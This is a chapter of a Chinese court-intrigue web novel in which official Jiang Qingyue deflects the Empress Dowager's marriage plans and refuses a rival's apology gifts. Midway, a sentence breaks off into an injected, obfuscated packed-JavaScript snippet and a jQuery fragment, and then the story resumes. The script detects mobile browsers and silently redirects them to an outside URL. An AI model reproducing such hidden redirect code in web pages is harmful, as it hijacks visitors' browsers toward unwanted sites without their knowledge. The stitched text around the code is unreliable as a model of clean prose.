公主府内。
“殿下。”
“嗯?”周儇认真擦拭着自己的剑。
“什么事啊。”
“外面来了个人,说是相府的。”
“相府的人来做什么?”
“给您送了个……面首。”
周儇皱起眉头:
“什么东西。”
“他们人还交代,说是良家子……不过奴婢听说,他原来不过是个街使。”
周儇手腕一转,不过一道剑影略过,枝头上的黄叶连枝落下。
“什么东西都往我这送。”
“就是,这样的身份,断然是配不上您的。”
长剑入鞘,一声锐响。
“本宫用得着别人来配?”
*
“殿下就是这么说的。”
宋观云思索片刻后开口:
“你去库房里,挑几件文房用的玩意,你亲自给江大人府上送过去。”
算是赔礼。
“再看看有什么尚武之人喜欢的物件,给公主府送去。”
毕竟他只是想报复一下那个街使,还不想和公主结下梁子。
“是。”
……
一段时间后,赵二回来了,一副愁眉苦脸的样子:
“江大人把那礼拒了。”
*
“你来了,坐吧。”
慈宁宫内终日缭绕着沁人的香气,江清月的步履踩在墨绿色的盘金毯上没有一点声响。
她刚给小皇帝讲完课,就被请到了太后宫中。
“辛苦你了。”太后微微颔首,示意侍女奉茶。
“皇帝进来如何啊。”
“回禀太后,陛下课时专注,虚心受教,只是年纪尚小,虽难免有孩童心性,但也足以见尚学之心。”
太后点点头,啜了口茶:“有劳你了。”
“臣职责所在。”
她说完这句话后,太后没有再说话,殿内一时安静无言。
咔哒一声,声音虽轻微,却在此刻的殿内显得格外清晰。
太后将盖碗合上,话锋一转。
“……今日朝中的事,哀家问你,宋观云说的,可是真的?”
江清月知道,这才是太后真正要找她说的。
“臣不敢隐瞒,确有其事。只是如臣在堂上所言,臣与那名女子,并无越礼之处。”
太后护甲轻点着桌面:“哀家自然是信你的。
“只是人言可畏,宋党又打压我们这些人,稍微一点差错都容易被抓住……哀家不放心你。”
说完,她叹了口气。
“是臣的过失。”江清月低着头,仔细揣摩着她的心思。
“不如这样,哀家给这姑娘做个主,找个好人家嫁了。”
“怕是不妥。”江清月发觉自己否定得太快,赶紧又补充,“她初到京城,又是小门小户,对很多东西都不熟悉,若是有什么过失,岂不是失了您的颜面?”
太后蹙着眉,想了想,最后点点头。
“那你说,该如何是好啊?总不能一直留着个没名没分的女子在你府上吧?
“况且,姑娘家家的,那有不成婚的,不要耽误了人家。”
“是。”
江清月心里不敢苟同这话,却也只能附和。
谁料太后话一转,又落到她的身上:
“你也是,要尽早成婚才好。”太后说到这,顿了顿,好像突然想明白了什么。
“你莫不是担心未娶妻就纳妾,影响自己的名声?”
“……啊?”
她忽然就笑了,眼尾的细纹绽出一朵花来:
“哀家正想说这事呢,哀家有个远房的亲戚的姑娘,在京城也算是有名头,姓邬,你可曾听过?”
太后看向她,却见她脸上出现了不似平时会有的惊怔神色,连忙说:
“你在京城没多久,没听过也正常……找个姑娘安顿下来,久了对京城也就熟悉了。”
什么意思?
答应了就能一直留京?
江清月赶紧摇头:“臣现在还没有成婚的想法。”
她有点不悦了,但还是耐着性子:
“罢了,这种事情也逼迫不来……没多久就秋猎了,届时你们见上一眼再说。”
太后说完,挥挥手:“行了,你下去吧。”
江清月起身告退,松了一口气。
能拖一会是一会吧。
……
江清月走后,太后看向了身边的惠和:
“你说,这朝中的年轻人,怎么个个都不想成婚呢?
“前段时间我问祁霁,他也这么说。”
惠和姑姑摇了摇头:“这……奴婢也不知啊。”
太后忽然叹了口气:
“祁霁一点都不像他,明明……”
“臣问太后安。”
太后的话戛然而止。
“祁大人安。”惠和姑姑见状福了福身,退了出去。
太后语气中带着责怪:“你这孩子怎么没有声响。坐吧。”
“是。”祁霁坐下,垂着眼,接过她递来的茶。
不待他开口,太后便先自说道:
“之前还怀疑江清影和宋观云会不会站一块,现在看来没这回事儿了。”
祁霁吹了吹茶水:“臣认为此事尚有可疑之处。”
“哪里可疑了?”
他放下茶杯:“宋观云居然没有抓着这事不放,这不像他的作风。往常他但凡抓住什么挑错的机会,就步步紧逼,一副小人得志的嚣张嘴脸。
“这次轻轻带过,仿佛是刻意而为。
“而且,臣见了那个晴州的吴知府,他说……”祁霁忽然压低了声音。
太后不以为然:“那个吴知府的话也未必可信。若不是他,石头那事又怎会办成这样。”
“可是……”
她打断他的话,眉峰紧锁:“‘用人不疑,疑人不用’,现在正是用人的时候,别让他发觉了我们起了疑心。”
太后扶着头,深吸了一口气:“你且先退下吧,待哀家好好想想。”
祁霁暗自咬了咬牙:“是,臣告退。”
他转身,掩去眼中的沉色。
她就当真这么信任那个江清影?
凭什么他一来就这么被重视?
而自己……自己总是被抛弃的那个。
凭什么?
*
“什么意思嘛!”子贺听到消息后,不满极了。
“就因为这个,好不容易要晋升了……就这么泡汤了呀!
“那个宋观云真是小人行径!大人,我们以后都不要和这种人来往了!
“好好好,你先消消气。”江清月见她激愤难平,只得先安慰她。
“还有太后娘娘,怎么能够因为一些流言蜚语就草率决定了人家女孩子的终身大事呢!
“那个什么朱大朱二也是,天天管别人家的事做什么?”子贺拿起桌上的茶杯就是咕咚一口。
“我记住他们了!”
茶杯“咚”一下被放在桌子上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250214|197087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“下次出门,别让我——”
“笃笃笃。”
有人敲了敲书房的门。
“谁啊?”子贺被打断,有些不耐烦。
江清月拍拍她的头,以示安抚:
“进来吧。”
来的是门房:
“大人,宋府来人了,说是拿了些赔礼。”
江清月想都不想就回绝了:“不必了,让他回去吧。”
“他要真想道歉,就该拿银子来!”子贺最后愤愤喊道。
……
一个时辰后,两人看着白花花的银子傻了眼。
“大人,我们这到底是收还是不收啊?”子贺两眼放光。
……
“大人,我们真的不收吗?”子贺眼中充满不舍。
*
夜深了。
府上一片寂静,唯有零落的虫鸣声。
蒲音房内还亮着一小盏灯。
她正坐在床上,一针一线绣着东西。
绣着绣着,她的思绪就渐渐飘到了下午的书房前。
因为自己,误了大人的仕途吗?
早知道就不来了……
江大人是好人,子贺也很好,他们不会说自己,可……
“喂。”
蒲音正暗自伤心时,子贺的脸突然出现在窗户边。
“你早点睡,不要浪费了府上的油钱。”她又小声补了一句,“那么辛苦干嘛。”
“知道了。”蒲音低下头。
子贺瞥见她微红的眼眶,顿时无措:
“你、你怎么哭了?
“你想家了?”
蒲音垂着眼,摇摇头。
“我没有怪你的意思,我以后不说你了……”
蒲音拿袖子揩了揩眼眶,吸吸鼻子:
“只是想到了些伤心事。”
子贺听完就要从大门绕进房间。
蒲音赶紧开口:
“你不用进来了……”
“真的?”子贺身子转了一半,刚迈出的步子还停在半空。
蒲音点点头:
“真的,我待会就睡了,你回去吧。”
“好吧……”子贺半信半疑,又转了一半的身子。
这个情况得找大人。子贺心里想。
“对了。”
子贺突然扭捏了一下,“谢谢你的书籤。”
蒲音愣了愣。
什么书籤。
“哦……”她还是懵懵地点点头。
*
“大人?”
子贺戳了戳江清月。
“大人?
“睡着了……”
江清月猛地从桌上惊醒。
“什么时辰了?”
“二更了,宫中内侍急召大人入宫呢。”
“好,知道了。”
江清月揉了揉额角,起身整理衣袍。
*
政事堂内议论声音不断。
“开会开会,大晚上的开什么会!什么急事啊又。”大臣甲一脸不满。
“就是,我和我媳妇正好好躺着呢……坏我大事儿。”大臣乙附和。
“这会开了明早还来吗?”大臣丙疑惑。
“不会真有什么要紧的吧?”年轻大臣询问其他人。
身旁的大臣解释:“嗨,你新来的不知道,这左相祁大人就喜欢晚上议事。自己没事干就把我们叫来,就该给他……”他眼尖,忽然瞥见了进来的祁霁。
“唉,不说了,来了来了。”